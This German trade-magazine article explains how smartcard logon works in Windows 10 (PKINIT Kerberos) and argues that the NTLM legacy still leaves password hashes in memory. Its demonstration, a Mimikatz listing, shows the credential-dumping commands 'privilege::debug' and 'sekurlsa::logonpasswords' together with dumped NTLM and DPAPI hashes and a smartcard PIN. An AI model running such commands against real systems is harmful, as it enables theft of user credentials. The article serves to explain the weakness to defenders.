Smartcards mit Windows 10 im Unternehmen

Ausgewiesen

Jürgen Fechter, Joachim Keltsch

Wer Smartcards für die Authentifizierung verwendet, wiegt sich in Sicherheit – in Windows-Umgebungen allerdings of zu Unrecht.

Will man sich nicht auf ein Passwort allein verlassen, ergänzt man den Zugriffsschutz um einen zweiten Faktor, etwas, das eine Person hat und das schwierig oder gar nicht zu kopieren ist. Dafür kommen unverwechselbare Merkmale der Person infrage oder Dinge, die die Person bei sich trägt, wie ein Hardware-Token mit einem optimalerweise nicht kopierbaren digitalen Geheimnis.

Damit das digitale Geheimnis im Hardware-Token nicht kopierbar ist, stellt es keine Schnittstelle bereit, um es auszulesen. Deshalb muss das Token die Kenntnis des Geheimnisses implizit nachweisen, typischerweise über ein symmetrisches oder asymmetrisches Challenge-Response-Verfahren.

Beim symmetrischen Verfahren ist das Geheimnis dem Token und dem Zielservice bekannt. Es eignet sich daher im Regelfall nur zur Authentifizierung bei einem einzelnen Dienst und findet sich oft bei Einmalpasswort-Generatoren für VPN-Zugänge. Die Challenge ist meist die Uhrzeit, die berechnete Response ist der Token-Code, den der Benutzer bei der Anmeldung am VPN als zweiten Faktor abtippt.

Bei asymmetrischer Kryptografie schützt das Token nur den privaten Schlüssel, der zugehörige öffentliche lässt sich beliebig weitergeben. Richtet ein Benutzer ein Konto für einen Dienst ein, hinterlegt er außer Anmeldenamen und Passwort seinen öffentlichen Schlüssel. Beim Login verschlüsselt der Dienst eine zufällige Challenge mit dem hinterlegten öffentlichen Schlüssel. Der Besitzer des Tokens kann die Challenge vom Token entschlüsseln lassen und mit der erhaltenen Antwort den Besitz des Tokens beziehungsweise des privaten Schlüssels nachweisen. Dieses Verfahren verwendet beispielsweise der Industriestandard U2F (Universal Second Factor) der FIDO-Allianz (Fast Identity Online). Es funktioniert für beliebig viele, voneinander unabhängige Dienste nach der jeweiligen initialen Registrierung.

Für den Unternehmenseinsatz stört aber noch, dass jedes Zielsystem eine eigene Registrierung verlangt. Damit Anwender nicht für jede Applikation ihren öffentlichen Schlüssel zu ihrer Benutzer-ID hinterlegen müssen, bestätigt ein Zertifikat einer Zertifizierungsstelle oder CA (Certificate Authority) die Zuordnung zwischen Schlüssel und Benutzer-ID. Legt der Benutzer das Zertifikat bei der Anmeldung vor, vertraut der Dienst der CA und stellt durch das Zertifikat die Zuordnung auch ohne vorherige Registrierung her. Der kryptografische Nachweis des Token-Besitzes funktioniert wie oben beschrieben. Hardware-Token, die dieses asymmetrische, zertifikatgestützte Verfahren verwenden, sind typischerweise Smartcards.

Zertifikat statt Multiple Sign-on

Einige Security-Token können alle drei Verfahren implementieren. Windows beherrscht seit der Version 2000 Smartcards des Standards PC/SC, seit Windows 7 auch solche des neueren Standards PIV (Personal Identity Verification). PIV-Smartcards wiederum können mit mehreren Zertifikaten umgehen. Damit sie unter Windows funktionieren, benötigen sie einen Card Holder Unique Identifier (CHUID). Eine Implementierung des FIDO U2F plant Microsoft derzeit nicht, wohl aber den neueren Standard FIDO 2.0 für Windows 10 und Windows Server 2016 mit dem Browser Edge (siehe „Alle Links“ am Ende des Artikels).

Windows verwendet bei der Smartcard-Authentifizierung die Kerberos-Erweiterung PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) mit öffentlichen Schlüsseln nach RFC 4556, Abschnitt 3.2.3.2. Diese Methode ersetzt den ursprünglichen Handshake, der normalerweise mit symmetrischer Kryptografie und einem vom Passwort abgeleiteten Klartext-Hash abläuft, durch ein asymmetrisches Verfahren mit öffentlichen und privaten Schlüsseln. Dies ist ein deutlicher Sicherheitsgewinn, da der Domänen-Controller keine Klartext-Hashes mehr speichern muss; öffentliche Schlüssel reichen völlig aus.

Nach erfolgreichem initialen Handshake erhält der Benutzer ein Ticket-Granting Ticket, also eines, mit dem er weitere Tickets beziehen kann, um auf Dienste passwortfrei zuzugreifen. Alle Folgeschritte sind wie bei passwortbasiertem Kerberos mit symmetrischer Kryptografie gesichert.

Prinzipbedingt ist die Smartcard-Authentifizierung unter Windows deshalb genauso sicher wie bei anderen Kerberos-Systemen mit PKINIT. Allerdings läuft parallel eine unsichere Ein-Faktor-Altlast mit, die sich nicht abschalten lässt: die Authentifizierung über NTLM (NT LAN Manager).

Altlast Klartext-Hashes im Gepäck

Viele Altsysteme im Microsoft-Ökosystem arbeiten noch mit NTLM und beherrschen kein Kerberos. Damit die Benutzer dieser Systeme vom Single Sign-on profitieren können, muss Microsoft im Hintergrund den NTLM-Dienst weiterlaufen lassen. Leider arbeitet er mit Klartext-Hashes des Benutzerpassworts.

  .#####.   mimikatz 2.1 (x64) built on Oct  5 2016 20:44:55
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 233239 (00000000:00038f17)
Session           : Interactive from 1
User Name         : admin
Domain            : COMPANY
Logon Server      : (null)
Logon Time        : 14.10.2016 09:48:04
SID               : S-1-5-21-504569365-2122958605-3922303804-1108
        msv :
         [00000009] Primary
         * Username : admin
         * Domain   : COMPANY
         * NTLM     : 217e50203a5aba59cefa863c724bf61b
         * DPAPI    : 8394ad6d481e0c13afcfa0808cbba097
[...]
        kerberos :
         * Username : admin
         * Domain   : COMPANY.ZZ
         * Password : (null)
         * Smartcard
             PIN code : 12345678
             Card     : Identity Device (Microsoft Generic Profile)
             Reader   : Microsoft Virtual Smart Card 0
             Container: te-SmartcardLogon2-b2aa386d-79db-56625
             Provider : Microsoft Base Smart Card Crypto Provider
[...]

Damit NTLM auch funktioniert, wenn sich Benutzer nur mit Smartcards anmelden dürfen, würfelt Windows für reine Smartcard-Benutzer 120 Zeichen lange Schattenpasswörter, von denen die Anwender nichts wissen. Würden sie sie kennen, genügten sie für die Authentifizierung. Bei der Anmeldung mit der Smartcard erhält der Client vom Domänen-Controller neben den Kerberos-Tickets den NTLM-Klartext-Hash des Benutzers. Die Ausgabe von Mimikatz in Listing 1 offenbart dabei zweierlei. Erstens: Jeder Smartcard-Benutzer, der nicht Mitglied in der Protected User Group ist, hat einen NTLM-Hash, der ohne Credential Guard im Klartext im Speicher liegt. Zweitens: Der PIN-Code ist dort ebenfalls zu finden.